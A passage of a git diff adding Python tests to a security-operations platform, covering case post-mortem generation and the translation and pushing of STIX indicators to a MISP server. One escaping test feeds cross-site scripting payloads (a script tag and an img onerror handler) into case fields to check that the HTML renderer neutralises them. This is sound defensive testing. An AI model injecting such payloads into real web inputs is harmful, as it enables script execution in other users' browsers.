DetectionTiming(opened_at=OPENED, sla_breached=False)+ response = ResponseEffectiveness()+ items = fn(case, detection, response, [])+ titles = " ".join(i.title for i in items)+ assert "No analyst narrative" in titles+ assert "No tracked response actions" in titles+ assert "MITRE ATT&CK coverage missing" in titles+++def test_build_action_items_returns_neutral_when_clean() -> None:+ fn = _internal_helpers["_build_action_items"]+ case = _case(mitre_techniques=["T1078"])+ from app.services.case_postmortem import DetectionTiming, ResponseEffectiveness++ detection = DetectionTiming(+ opened_at=OPENED,+ time_to_detect_hours=0.1,+ time_to_triage_hours=0.5,+ time_to_resolve_hours=1.0,+ sla_breached=False,+ )+ response = ResponseEffectiveness(total_actions=2, completed=2, automation_used=True)+ items = fn(case, detection, response, [], [])+ assert len(items) == 1+ assert "No structural follow-ups" in items[0].title+++# ---------------------------------------------------------------------------+# Pure top-level builder+# ---------------------------------------------------------------------------+++def baseline_inputs() -> PostmortemInputs:+ case = _case(+ triaged_at=OPENED + timedelta(hours=1),+ resolved_at=OPENED + timedelta(hours=6),+ closed_at=OPENED + timedelta(hours=8),+ sla_due_at=OPENED + timedelta(hours=4), # breach: resolved at +6h+ mitre_techniques=["T1486", "T1059.001"],+ alert_ids=[str(uuid.uuid4()) for _ in range(3)],+ observable_graph={+ "nodes": [+ {"kind": "host"},+ {"kind": "user"},+ {"kind": "user"},+ {"kind": "domain", "value": "evil.example.com"},+ ],+ "edges": [{"src": 0, "dst": 1}],+ },+ evidence_chain=[{"kind": "file_hash"}, {"kind": "memory_dump"}],+ compliance_frameworks=["SOC2"],+ tags={"team": "soc-1"},+ )+ comments = [+ SummaryCommentRow(+ author="alice",+ body="Confirmed encryption activity, isolating host",+ is_system=False,+ created_at=OPENED + timedelta(minutes=15),+ ),+ SummaryCommentRow(+ author=None,+ body="Auto-triage routed to playbook PB-014",+ is_system=True,+ created_at=OPENED + timedelta(minutes=5),+ ),+ ]+ tasks = [+ SummaryTaskRow(+ title="Isolate host",+ status="done",+ assignee="alice",+ due_at=OPENED + timedelta(hours=1),+ created_at=OPENED,+ updated_at=OPENED + timedelta(hours=1),+ ),+ SummaryTaskRow(+ title="Reset credentials",+ status="todo",+ assignee=None,+ due_at=OPENED - timedelta(hours=1), # already overdue+ created_at=OPENED,+ updated_at=OPENED,+ ),+ SummaryTaskRow(+ title="Run containment playbook PB-014",+ status="done",+ assignee="alice",+ due_at=OPENED + timedelta(hours=2),+ created_at=OPENED,+ updated_at=OPENED + timedelta(hours=2),+ ),+ ]+ return PostmortemInputs(case=case, comments=comments, tasks=tasks)+++def test_build_postmortem_basic_shape(baseline_inputs: PostmortemInputs) -> None:+ pm = build_postmortem_from_rows(baseline_inputs, now=NOW)++ assert pm.case.case_id == CASE_ID+ assert pm.case.case_number == "CASE-2026-0042"+ assert pm.case.severity == "high"++ # Detection.+ assert pm.detection.time_to_triage_hours == 1.0+ assert pm.detection.time_to_resolve_hours == 6.0+ assert pm.detection.sla_breached is True+ assert pm.detection.first_analyst_touch_at == OPENED + timedelta(minutes=15)+ assert pm.detection.time_to_detect_hours == 0.25++ # Overview blast radius.+ assert pm.overview.blast_radius_hosts == 1+ assert pm.overview.blast_radius_identities == 2+ assert pm.overview.blast_radius_alerts == 3+ assert pm.overview.affected_domains == ["evil.example.com"]++ # Response.+ assert pm.response.total_actions == 3+ assert pm.response.completed == 2+ assert pm.response.overdue == 1+ assert pm.response.automation_used is True++ # Detection gaps include the SLA breach.+ assert any(g.severity == "critical" and "SLA" in g.title for g in pm.detection_gaps)++ # Action items reflect the breach + overdue items.+ titles = " ".join(i.title for i in pm.action_items)+ assert "SLA" in titles+ assert "overdue" in titles.lower()++ # Timeline non-empty + sorted, no analyst names leaked.+ assert pm.timeline+ timestamps = [e.ts for e in pm.timeline]+ assert timestamps == sorted(timestamps)+ blob = " ".join(e.label + " " + (e.detail or "") for e in pm.timeline)+ assert "alice" not in blob.lower()+++def test_build_postmortem_minimal_inputs_returns_neutral_recommendation() -> None:+ """When everything is clean, the action-item list still has one entry.++ The fallback neutral marker requires *no* gaps, *no* fell-short items,+ and *no* generated action items. We need an analyst comment (so detection+ doesn't surface a "no analyst touch" gap) and a tagged technique.+ """+ case = _case(+ status="closed",+ severity="low",+ triaged_at=OPENED + timedelta(minutes=5),+ resolved_at=OPENED + timedelta(minutes=20),+ closed_at=OPENED + timedelta(minutes=25),+ sla_due_at=None,+ mitre_techniques=["T1078"],+ )+ comments = [+ SummaryCommentRow(+ author="analyst",+ body="reviewed",+ is_system=False,+ created_at=OPENED + timedelta(minutes=2),+ ),+ ]+ pm = build_postmortem_from_rows(PostmortemInputs(case=case, comments=comments), now=NOW)+ assert pm.detection.sla_breached is False+ assert pm.detection_gaps == []+ assert pm.fell_short == []+ assert pm.action_items+ assert any("No structural follow-ups" in i.title for i in pm.action_items)+++def test_build_postmortem_is_deterministic(baseline_inputs: PostmortemInputs) -> None:+ a = build_postmortem_from_rows(baseline_inputs, now=NOW).model_dump_json()+ b = build_postmortem_from_rows(baseline_inputs, now=NOW).model_dump_json()+ assert a == b+++def test_build_postmortem_headline_includes_label_and_severity(+ baseline_inputs: PostmortemInputs,+) -> None:+ pm = build_postmortem_from_rows(baseline_inputs, now=NOW)+ assert "CASE-2026-0042" in pm.headline+ assert "HIGH" in pm.headline+ assert "SLA breached" in pm.headline+++# ---------------------------------------------------------------------------+# HTML renderer+# ---------------------------------------------------------------------------+++def test_render_case_postmortem_html_contains_all_sections(+ baseline_inputs: PostmortemInputs,+) -> None:+ pm = build_postmortem_from_rows(baseline_inputs, now=NOW)+ html = render_case_postmortem_html(pm)++ assert "<!DOCTYPE html>" in html+ assert "AiSOC" in html+ assert "post-mortem" in html.lower()+ # All major section headings should be present (case-insensitive — copy+ # may evolve, structure shouldn't).+ lowered = html.lower()+ assert "incident overview" in lowered+ assert "detection" in lowered+ assert "response" in lowered+ assert "timeline" in lowered+ assert "went well" in lowered+ assert "fell short" in lowered+ assert "action items" in lowered+++def test_render_case_postmortem_html_escapes_user_data() -> None:+ case = _case(+ title="<script>alert('xss')</script>",+ description="<img src=x onerror=alert(1)>",+ severity="critical",+ )+ pm = build_postmortem_from_rows(PostmortemInputs(case=case), now=NOW)+ html = render_case_postmortem_html(pm)++ assert "<script>alert" not in html+ assert "<script>alert" in html+ assert "<img src=x" not in html+++def test_render_case_postmortem_html_omits_analyst_names(+ baseline_inputs: PostmortemInputs,+) -> None:+ """Blameless retrospective: analyst usernames must not appear in the body.++ The case assignee is metadata and may legitimately appear in the header,+ but the timeline + action items must not surface comment authors.+ """+ pm = build_postmortem_from_rows(baseline_inputs, now=NOW)+ html = render_case_postmortem_html(pm)++ # Strip the case assignee line so we can assert the *narrative* sections+ # don't surface analyst names.+ assert "alice" not in pm.headline.lower()+ for item in pm.action_items:+ assert "alice" not in item.body.lower()+ assert "alice" not in item.title.lower()+ for entry in pm.timeline:+ assert "alice" not in entry.label.lower()+ if entry.detail:+ assert "alice" not in entry.detail.lower()++ # The rendered HTML must also be blameless — the assignee line is allowed+ # in the header but narrative sections (timeline / action items) must not+ # surface analyst handles.+ body_html = html.split("</header>", 1)[-1].lower() if "</header>" in html else html.lower()+ assert "alice" not in body_html+++def test_postmortem_round_trips_through_pydantic_json(+ baseline_inputs: PostmortemInputs,+) -> None:+ pm = build_postmortem_from_rows(baseline_inputs, now=NOW)+ payload = pm.model_dump_json()+ restored = CasePostmortem.model_validate_json(payload)+ assert restored == pmdiff --git a/services/api/tests/test_misp_push.py b/services/api/tests/test_misp_push.pynew file mode 100644index 000000000..151c50269--- /dev/null+++ b/services/api/tests/test_misp_push.py@@ -0,0 +1,1125 @@+"""Unit tests for MISP push (Stage 3 #20).++The MISP push surface lives at three layers and each is tested in isolation:++1. **Pure mappers** in ``app.services.misp_push`` — STIX → MISP attribute /+ event translation. No I/O, no network, deterministic given the input.+2. **``MispPushClient``** — async wrapper around the MISP REST API. We+ exercise the configured / unconfigured branches and the air-gap chokepoint+ without ever opening a real socket: ``httpx.AsyncClient`` is patched at+ the class level using ``unittest.mock.patch`` and ``MockTransport``,+ matching the convention used in ``test_connectors_endpoint.py``.+3. **``stix_taxii.py`` endpoints + helpers** — the orchestration layer that+ converts a successful push into a structured ``MispPushResult`` and the+ admin endpoints (``/misp/health`` and ``/misp/dry-run``).++The endpoint tests mount the ``stix_taxii`` router on a stub ``FastAPI``+app — exactly the pattern from ``test_demo_mode.py`` — so we don't have to+spin up the full app (auth middleware, DB, etc.) just to verify routing+and request/response shape. The real production app composition is covered+by ``test_security_defaults.py``.+"""++from __future__ import annotations++from typing import Any+from unittest.mock import AsyncMock, MagicMock++import httpx+import pytest+from app.api.v1.endpoints import stix_taxii+from app.api.v1.endpoints.stix_taxii import (+ MispPushResult,+ STIXBundle,+ STIXIndicator,+ _push_bundle_or_swallow,+ _push_indicator_or_swallow,+ _should_push,+)+from app.api.v1.endpoints.stix_taxii import (+ router as stix_router,+)+from app.core.airgap import AirgapViolation+from app.core.config import settings+from app.services.misp_push import (+ MispNotConfigured,+ MispPushClient,+ MispPushError,+ ParsedPattern,+ confidence_to_threat_level,+ parse_stix_pattern,+ stix_bundle_to_misp_event,+ stix_indicator_to_misp_attribute,+ stix_indicator_to_misp_event,+)+from fastapi import FastAPI+from fastapi.testclient import TestClient++# ── Pure mapper tests ───────────────────────────────────────────────────────+++class TestParseStixPattern:+ """``parse_stix_pattern`` is the load-bearing translation primitive.++ A regression here silently drops indicators on the floor instead of+ pushing them, which would be invisible to the operator until they+ notice their MISP feed is empty. Cover every supported observable+ explicitly (one test per branch) so the table-of-regexes can never+ regress without somebody removing a test.+ """++ @pytest.mark.parametrize(+ ("pattern", "expected_type", "expected_category", "expected_value"),+ [+ (+ "[ipv4-addr:value = '198.51.100.47']",+ "ip-dst",+ "Network activity",+ "198.51.100.47",+ ),+ (+ "[ipv6-addr:value = '2001:db8::1']",+ "ip-dst",+ "Network activity",+ "2001:db8::1",+ ),+ (+ "[domain-name:value = 'evil.example.com']",+ "domain",+ "Network activity",+ "evil.example.com",+ ),+ (+ "[url:value = 'https://drop.evil.example/upload']",+ "url",+ "Network activity",+ "https://drop.evil.example/upload",+ ),+ (+ "[email-addr:value = '[email protected]']",+ "email-src",+ "Payload delivery",+ "[email protected]",+ ),+ (+ "[file:hashes.MD5 = 'd41d8cd98f00b204e9800998ecf8427e']",+ "md5",+ "Payload delivery",+ "d41d8cd98f00b204e9800998ecf8427e",+ ),+ (+ "[file:hashes.'SHA-1' = 'da39a3ee5e6b4b0d3255bfef95601890afd80709']",+ "sha1",+ "Payload delivery",+ "da39a3ee5e6b4b0d3255bfef95601890afd80709",+ ),+ (+ "[file:hashes.'SHA-256' = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855']",+ "sha256",+ "Payload delivery",+ "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",+ ),+ (+ (+ "[file:hashes.'SHA-512' = '"+ "cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce"+ "47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e"+ "']"+ ),+ "sha512",+ "Payload delivery",+ (+ "cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce"+ "47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e"+ ),+ ),+ (+ "[file:name = 'invoice.exe']",+ "filename",+ "Payload delivery",+ "invoice.exe",+ ),+ ],+ )+ def test_supported_patterns(+ self,+ pattern: str,+ expected_type: str,+ expected_category: str,+ expected_value: str,+ ) -> None:+ result = parse_stix_pattern(pattern)+ assert isinstance(result, ParsedPattern)+ assert result.misp_type == expected_type+ assert result.misp_category == expected_category+ assert result.value == expected_value++ def test_empty_pattern_returns_none(self) -> None:+ """Empty / falsy patterns short-circuit to ``None`` without raising.++ Bundle pushes feed every object through this function; a single+ malformed indicator must not blow up the entire push.+ """+ assert parse_stix_pattern("") is None++ def test_unknown_pattern_returns_none(self) -> None:+ """STIX patterns we don't yet translate return ``None`` (skip-and-log).++ This contract is what lets us add new observable types without+ breaking existing callers.+ """+ # ``process:name`` is valid STIX but isn't in the MISP table.+ assert parse_stix_pattern("[process:name = 'svchost.exe']") is None++ def test_case_insensitive_observable_prefix(self) -> None:+ """STIX is technically case-sensitive but we match leniently.++ Some upstream tools (Microsoft Sentinel exporter, in particular)+ emit ``IPv4-Addr`` instead of ``ipv4-addr``. Matching on those is+ cheap and avoids a foot-gun.+ """+ assert parse_stix_pattern("[IPv4-Addr:value = '10.0.0.1']") == ParsedPattern(+ misp_type="ip-dst", misp_category="Network activity", value="10.0.0.1"+ )+++class TestConfidenceToThreatLevel:+ """STIX confidence (0-100) → MISP threat_level_id (1-4) mapping.++ The boundary values matter for SOC tuning — operators set alert+ thresholds based on ``threat_level_id`` so a wrong cutoff means+ an indicator either spams them or hides from them.+ """++ @pytest.mark.parametrize(+ ("confidence", "expected"),+ [+ (100, 1), # high+ (90, 1),+ (80, 1), # boundary: still high+ (79, 2), # boundary: drops to medium+ (50, 2), # boundary: still medium+ (49, 3), # boundary: drops to low+ (20, 3), # boundary: still low+ (19, 4), # boundary: undefined+ (0, 4),+ ],+ )+ def test_confidence_buckets(self, confidence: int, expected: int) -> None:+ assert confidence_to_threat_level(confidence) == expected++ def test_none_falls_back_to_default(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """``None`` confidence (STIX field is optional) defers to settings."""+ monkeypatch.setattr(settings, "MISP_PUSH_DEFAULT_THREAT_LEVEL", 3)+ assert confidence_to_threat_level(None) == 3+++class TestStixIndicatorToMispAttribute:+ """Attribute-level mapping: shape, defaults, and label propagation."""++ def test_translatable_pattern_yields_attribute(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_PUSH_DEFAULT_DISTRIBUTION", 1)+ ind = {+ "pattern": "[ipv4-addr:value = '198.51.100.47']",+ "name": "C2 server",+ "description": "APT-42 staging IP",+ "labels": ["apt-42", "c2"],+ }+ attr = stix_indicator_to_misp_attribute(ind)+ assert attr is not None+ assert attr["type"] == "ip-dst"+ assert attr["category"] == "Network activity"+ assert attr["value"] == "198.51.100.47"+ assert attr["to_ids"] is True+ # Distribution falls back to settings when not overridden.+ assert attr["distribution"] == 1+ # Description wins over name as the comment.+ assert attr["comment"] == "APT-42 staging IP"+ # Labels surface as MISP tags with the ``aisoc:`` prefix so an+ # operator can filter for them.+ assert {tag["name"] for tag in attr["Tag"]} == {"aisoc:apt-42", "aisoc:c2"}++ def test_unknown_pattern_returns_none(self) -> None:+ assert stix_indicator_to_misp_attribute({"pattern": "[process:name = 'x']"}) is None++ def test_explicit_distribution_overrides_default(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """The caller can force a distribution per-attribute.++ Bundles use this to keep every attribute aligned with the event-+ level distribution, regardless of the running defaults.+ """+ monkeypatch.setattr(settings, "MISP_PUSH_DEFAULT_DISTRIBUTION", 0)+ attr = stix_indicator_to_misp_attribute({"pattern": "[ipv4-addr:value = '10.0.0.1']"}, distribution=3)+ assert attr is not None+ assert attr["distribution"] == 3++ def test_no_labels_emits_no_tag_field(self) -> None:+ """We must not emit an empty ``Tag: []`` — MISP rejects that.++ Verified against MISP 2.4.x; an empty array trips a JSON schema+ check on the receiving end.+ """+ attr = stix_indicator_to_misp_attribute({"pattern": "[ipv4-addr:value = '10.0.0.1']"})+ assert attr is not None+ assert "Tag" not in attr++ def test_falls_back_to_name_when_no_description(self) -> None:+ attr = stix_indicator_to_misp_attribute(+ {+ "pattern": "[ipv4-addr:value = '10.0.0.1']",+ "name": "fallback name",+ }+ )+ assert attr is not None+ assert attr["comment"] == "fallback name"++ def test_no_name_or_description_yields_empty_comment(self) -> None:+ attr = stix_indicator_to_misp_attribute({"pattern": "[ipv4-addr:value = '10.0.0.1']"})+ assert attr is not None+ assert attr["comment"] == ""+++class TestStixIndicatorToMispEvent:+ def test_indicator_event_envelope(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """A single STIX indicator becomes a single-attribute MISP event."""+ monkeypatch.setattr(settings, "MISP_PUSH_DEFAULT_DISTRIBUTION", 0)+ monkeypatch.setattr(settings, "MISP_PUSH_DEFAULT_THREAT_LEVEL", 4)+ monkeypatch.setattr(settings, "MISP_PUSH_DEFAULT_ANALYSIS", 0)+ indicator = {+ "id": "indicator--abc",+ "name": "C2 IP",+ "pattern": "[ipv4-addr:value = '198.51.100.47']",+ "confidence": 95,+ }+ event = stix_indicator_to_misp_event(indicator)+ assert event is not None+ body = event["Event"]+ assert body["info"] == "C2 IP"+ assert body["distribution"] == 0+ # Confidence 95 → threat level 1 (high), overriding default 4.+ assert body["threat_level_id"] == 1+ assert body["analysis"] == 0+ assert len(body["Attribute"]) == 1+ # Tags include source provenance + the indicator ID.+ tag_names = {t["name"] for t in body["Tag"]}+ assert "aisoc:source=stix" in tag_names+ assert "aisoc:indicator=indicator--abc" in tag_names++ def test_indicator_event_returns_none_on_unknown_pattern(self) -> None:+ assert stix_indicator_to_misp_event({"id": "indicator--x", "pattern": "[process:name = 'svchost.exe']"}) is None++ def test_indicator_event_falls_back_to_id_when_no_name(self) -> None:+ event = stix_indicator_to_misp_event({"id": "indicator--zzz", "pattern": "[ipv4-addr:value = '10.0.0.1']"})+ assert event is not None+ assert event["Event"]["info"] == "AiSOC indicator indicator--zzz"+++class TestStixBundleToMispEvent:+ def test_bundle_aggregates_translatable_indicators(self) -> None:+ bundle = {+ "id": "bundle--xyz",+ "objects": [+ {"type": "indicator", "name": "ip", "pattern": "[ipv4-addr:value = '10.0.0.1']"},+ {"type": "indicator", "name": "dom", "pattern": "[domain-name:value = 'evil.example']"},+ # Non-indicator object — must be ignored, not skipped.+ {"type": "identity", "name": "AiSOC"},+ # Translatable miss — counts toward _skipped.+ {"type": "indicator", "pattern": "[process:name = 'x']"},+ ],+ }+ event = stix_bundle_to_misp_event(bundle)+ assert event["_skipped"] == 1+ assert event["_attribute_count"] == 2+ assert len(event["Event"]["Attribute"]) == 2+ # Bundle ID propagates as a tag for downstream filtering.+ tag_names = {t["name"] for t in event["Event"]["Tag"]}+ assert "aisoc:bundle=bundle--xyz" in tag_names++ def test_bundle_event_info_uses_indicator_names(self) -> None:+ """When ``info`` is omitted, the event title surfaces the first 3 names.++ Operators eyeballing a list of MISP events benefit from a real+ title rather than a UUID. We cap at three so a 100-indicator+ bundle doesn't generate a 1 KB ``info`` string.+ """+ bundle = {+ "id": "bundle--xyz",+ "objects": [{"type": "indicator", "name": f"name{i}", "pattern": f"[ipv4-addr:value = '10.0.0.{i}']"} for i in range(5)],+ }+ event = stix_bundle_to_misp_event(bundle)+ info = event["Event"]["info"]+ assert "name0; name1; name2" in info+ assert "name3" not in info++ def test_bundle_explicit_info_wins(self) -> None:+ event = stix_bundle_to_misp_event({"id": "bundle--xyz", "objects": []}, info="Operator-supplied label")+ assert event["Event"]["info"] == "Operator-supplied label"++ def test_empty_bundle_yields_zero_attributes(self) -> None:+ """A bundle with no objects must not crash — it returns an empty event.++ The ``MispPushClient`` is responsible for refusing to push these+ (so we don't spam MISP with empty events), but the mapper itself+ is permissive.+ """+ event = stix_bundle_to_misp_event({"id": "bundle--xyz", "objects": []})+ assert event["_attribute_count"] == 0+ assert event["_skipped"] == 0+ assert event["Event"]["Attribute"] == []+++# ── MispPushClient tests ────────────────────────────────────────────────────+++class TestMispPushClientConfig:+ """Configuration / constructor behaviour — no network."""++ def test_unconfigured_when_url_missing(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "")+ monkeypatch.setattr(settings, "MISP_API_KEY", "secret")+ client = MispPushClient()+ assert client.configured is False++ def test_unconfigured_when_api_key_missing(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.internal")+ monkeypatch.setattr(settings, "MISP_API_KEY", "")+ client = MispPushClient()+ assert client.configured is False++ def test_configured_when_both_set(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "https://misp.internal/")+ monkeypatch.setattr(settings, "MISP_API_KEY", "secret")+ client = MispPushClient()+ assert client.configured is True+ # Trailing slash is stripped so URL composition is predictable.+ assert client._url == "https://misp.internal"++ def test_explicit_args_override_settings(self) -> None:+ client = MispPushClient(+ url="https://override.example/",+ api_key="explicit-key",+ verify_ssl=False,+ timeout=5.0,+ )+ assert client._url == "https://override.example"+ assert client._api_key == "explicit-key"+ assert client._verify_ssl is False+ assert client._timeout == 5.0+++def _patch_async_client(monkeypatch: pytest.MonkeyPatch, handler):+ """Replace ``app.services.misp_push.httpx.AsyncClient`` with a mock-transport one.++ Mirrors the convention from ``test_connectors_endpoint.py``: we+ swap the symbol used by the production code so it gets a real+ ``AsyncClient`` (which knows how to ``async with`` itself) backed+ by a synthetic transport. Patching with ``unittest.mock.patch`` and+ setting ``return_value`` doesn't work here because ``MagicMock``+ intercepts ``__aenter__`` and returns another mock instead of the+ underlying client.++ We capture ``httpx.AsyncClient`` *before* the patch so the factory+ doesn't recurse into itself once the symbol on the production+ module is rebound.+ """++ real_async_client = httpx.AsyncClient++ def _factory(**kwargs: Any) -> httpx.AsyncClient:+ # Strip ``transport`` if production code ever passes one — we+ # always want our handler to win.+ kwargs.pop("transport", None)+ return real_async_client(transport=httpx.MockTransport(handler), **kwargs)++ monkeypatch.setattr("app.services.misp_push.httpx.AsyncClient", _factory)+++class TestMispPushClientHealthCheck:+ """``health_check`` — auth header, air-gap, error mapping.++ We swap ``httpx.AsyncClient`` for a factory that builds a real+ ``AsyncClient`` backed by a ``MockTransport``. This is the same+ pattern ``test_connectors_endpoint.py`` uses, and it sidesteps the+ foot-gun where ``MagicMock`` proxies the async context manager+ instead of returning the real client.+ """++ @pytest.mark.asyncio+ async def test_raises_when_unconfigured(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "")+ monkeypatch.setattr(settings, "MISP_API_KEY", "")+ client = MispPushClient()+ with pytest.raises(MispNotConfigured):+ await client.health_check()++ @pytest.mark.asyncio+ async def test_blocked_by_airgap(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """Air-gap policy must short-circuit before any HTTP call."""+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", True)+ monkeypatch.setattr(settings, "AISOC_AIRGAP_ALLOWLIST", [])+ client = MispPushClient(url="https://misp.public.example", api_key="k")+ with pytest.raises(AirgapViolation):+ await client.health_check()++ @pytest.mark.asyncio+ async def test_success_returns_user_role(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="k")++ async def _handler(request: httpx.Request) -> httpx.Response:+ assert request.headers["Authorization"] == "k"+ assert request.url.path == "/users/view/me"+ return httpx.Response(+ 200,+ json={+ "User": {"email": "[email protected]"},+ "Role": {"name": "publisher"},+ },+ )++ _patch_async_client(monkeypatch, _handler)+ result = await client.health_check()+ assert result == {+ "ok": True,+ "url": "https://misp.internal",+ "user": "[email protected]",+ "role": "publisher",+ }++ @pytest.mark.asyncio+ async def test_401_surfaces_as_auth_error(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="bad")++ async def _handler(_: httpx.Request) -> httpx.Response:+ return httpx.Response(401, json={"errors": "invalid key"})++ _patch_async_client(monkeypatch, _handler)+ with pytest.raises(MispPushError, match="auth failed"):+ await client.health_check()++ @pytest.mark.asyncio+ async def test_5xx_surfaces_as_push_error(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="k")++ async def _handler(_: httpx.Request) -> httpx.Response:+ return httpx.Response(503, text="upstream down")++ _patch_async_client(monkeypatch, _handler)+ with pytest.raises(MispPushError, match="503"):+ await client.health_check()++ @pytest.mark.asyncio+ async def test_connection_error_wrapped(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """A network-level ``RequestError`` is wrapped, not propagated raw.++ Endpoints catch ``MispPushError`` to render structured 5xx+ responses; leaking the raw ``httpx`` exception type would mean+ every caller has to know about the transport library.+ """+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="k")++ async def _handler(_: httpx.Request) -> httpx.Response:+ raise httpx.ConnectError("dns fail")++ _patch_async_client(monkeypatch, _handler)+ with pytest.raises(MispPushError, match="unreachable"):+ await client.health_check()+++class TestMispPushClientPushEvent:+ @pytest.mark.asyncio+ async def test_strips_internal_fields_before_post(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """``_skipped`` / ``_attribute_count`` are bookkeeping, not MISP fields.++ Posting them to MISP would either be silently ignored or trip+ a strict-mode JSON validator depending on MISP version. Either+ way they have no business being on the wire.+ """+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="k")+ captured: dict[str, Any] = {}++ async def _handler(request: httpx.Request) -> httpx.Response:+ captured["body"] = request.content+ return httpx.Response(+ 200,+ json={"Event": {"id": "42", "uuid": "uuid-42"}},+ )++ event = {+ "Event": {"info": "test", "Attribute": []},+ "_skipped": 5,+ "_attribute_count": 2,+ }+ _patch_async_client(monkeypatch, _handler)+ result = await client.push_event(event)++ body = captured["body"].decode()+ assert "_skipped" not in body+ assert "_attribute_count" not in body+ assert result["misp_event_id"] == "42"+ assert result["misp_event_uuid"] == "uuid-42"+ assert result["url"] == "https://misp.internal/events/view/42"++ @pytest.mark.asyncio+ async def test_push_indicator_unknown_pattern_raises(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """If we can't translate the pattern we never open a socket.++ MISP would just reject the empty event anyway; failing fast+ keeps the air-gap audit log clean.+ """+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="k")+ with pytest.raises(MispPushError, match="cannot be mapped"):+ await client.push_indicator({"pattern": "[process:name = 'x']"})++ @pytest.mark.asyncio+ async def test_push_bundle_with_no_translatable_indicators_raises(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="k")+ with pytest.raises(MispPushError, match="no MISP-translatable indicators"):+ await client.push_bundle(+ {+ "id": "bundle--empty",+ "objects": [{"type": "indicator", "pattern": "[process:name = 'x']"}],+ }+ )++ @pytest.mark.asyncio+ async def test_push_bundle_returns_attribute_counts(self, monkeypatch: pytest.MonkeyPatch) -> None:+ """Bundle pushes surface ``pushed_attributes`` / ``skipped_attributes``.++ These flow through to the API response so an operator can see+ "we mirrored 4/5 indicators; one was a process name we don't+ know how to express in MISP".+ """+ monkeypatch.setattr(settings, "AISOC_AIRGAPPED", False)+ client = MispPushClient(url="https://misp.internal", api_key="k")++ async def _handler(_: httpx.Request) -> httpx.Response:+ return httpx.Response(200, json={"Event": {"id": "9", "uuid": "u-9"}})++ bundle = {+ "id": "bundle--mixed",+ "objects": [+ {"type": "indicator", "pattern": "[ipv4-addr:value = '10.0.0.1']"},+ {"type": "indicator", "pattern": "[ipv4-addr:value = '10.0.0.2']"},+ {"type": "indicator", "pattern": "[process:name = 'x']"}, # skipped+ ],+ }+ _patch_async_client(monkeypatch, _handler)+ result = await client.push_bundle(bundle)+ assert result["pushed_attributes"] == 2+ assert result["skipped_attributes"] == 1+++# ── stix_taxii.py helper tests ──────────────────────────────────────────────+++class TestShouldPush:+ """``_should_push`` is a one-liner but its precedence is load-bearing.++ Per-request override beats env default; env default beats hard-off.+ Get this wrong and operators either spam MISP or never push at all.+ """++ def test_explicit_true_wins(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", False)+ assert _should_push(True) is True++ def test_explicit_false_wins(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", True)+ assert _should_push(False) is False++ def test_none_falls_back_to_auto_true(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", True)+ assert _should_push(None) is True++ def test_none_falls_back_to_auto_false(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_PUSH_AUTO", False)+ assert _should_push(None) is False+++def _stub_indicator() -> STIXIndicator:+ return STIXIndicator(+ id="indicator--test",+ created="2026-01-01T00:00:00+00:00",+ modified="2026-01-01T00:00:00+00:00",+ name="C2 server",+ pattern="[ipv4-addr:value = '198.51.100.47']",+ valid_from="2026-01-01T00:00:00+00:00",+ confidence=92,+ labels=["c2"],+ )+++def _stub_bundle() -> STIXBundle:+ return STIXBundle(+ id="bundle--test",+ created="2026-01-01T00:00:00+00:00",+ objects=[+ {+ "type": "indicator",+ "name": "C2 server",+ "pattern": "[ipv4-addr:value = '198.51.100.47']",+ }+ ],+ )+++class TestPushIndicatorOrSwallow:+ """End-to-end of the orchestration helper.++ The endpoint must return a 201 even when the MISP push fails — the+ publish is durable, the mirror is best-effort. These tests pin the+ structured ``MispPushResult`` we return for each failure mode.+ """++ @pytest.mark.asyncio+ async def test_unconfigured_returns_structured_error(self, monkeypatch: pytest.MonkeyPatch) -> None:+ monkeypatch.setattr(settings, "MISP_URL", "")+ monkeypatch.setattr(settings, "MISP_API_KEY", "")+ result = await _push_indicator_or_swallow(_stub_indicator())+ assert result is not None+ assert result.pushed is False+ assert result.error is not None+ assert "not 